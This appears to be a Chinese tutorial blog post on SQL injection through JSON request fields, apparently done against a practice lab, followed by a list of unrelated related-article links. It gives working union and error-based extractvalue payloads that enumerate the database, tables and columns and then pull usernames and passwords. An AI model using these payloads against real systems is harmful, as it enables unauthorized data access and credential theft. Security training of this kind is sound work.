json的注入

当应用程序将用户输入的JSON数据直接拼接到SQL查询中,而没有充分验证和过滤时,就会产生JSON注入漏洞。

常见场景:

  • RESTful API接口

  • 前后端分离应用

  • 移动应用后端

  • 微服务架构

json注入原理:json注入是指应用程序所解析的json数据来源于不可信赖的数据源,程序对这些不可信赖的数据进行验证,过滤,如果应用程序使用未经验证的输入构造json,则可以更改json数据的语义。

梳理json语句怎么使用:

{"username": "admin' union select..."}

这里先找他的列数吧

{"username": "admin' order by 1 #"}

{"username": "admin' order by 2 #"}依次类推

1.查询数据库

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select database()),0x7e)))#"}

加入找到的是security数据库

2.查询到数据库后然后查询数据库的表

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)))#"}

假如找到的的是user表

3.查询到数据库的表之后查列数

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e))#"}

4.然后在列数里面寻找有用的信息

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#"}

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))#"}

拆分来看就是这样的一个写法:

{

"username": "admin' union select

1, -- 第一个字段占位

extractvalue(1, -- 第二个字段执行注入

concat(0x7e,

(select database()), -- 要提取的数据

0x7e)

) #"

}

相关推荐
电商API&Tina21 分钟前
【电商API接口】开发者一站式电商API接入说明
大数据·数据库·人工智能·云计算·json
消失的旧时光-19431 小时前
Android 面试高频:JSON 文件、大数据存储与断电安全(从原理到工程实践)
android·面试·json
ChoSeitaku10 小时前
NO.4|protobuf网络版通讯录|httplib|JSON、XML、ProtoBuf对比
xml·json
青衫客3612 小时前
浅谈 Java 后端对象映射:从 JSON → VO → Entity 的原理与实践
java·json
qqxhb20 小时前
11|结构化输出:为什么 JSON 能让系统更稳定
json·ai编程·结构化·规范模板
小黑要努力1 天前
json-c安装以及amixer使用
linux·运维·json
听风者一号1 天前
cssMoudle生成器
前端·javascript·json
ID_180079054732 天前
小红书笔记详情 API 接口系列 + 标准 JSON 返回参考(完整版)
数据库·笔记·json
小狗丹尼4003 天前
JSON 基础认知、数据转换与 Flask 前后端交互全解
python·flask·json
奔跑的呱呱牛3 天前
arcgis-to-geojson双向转换工具库
arcgis·json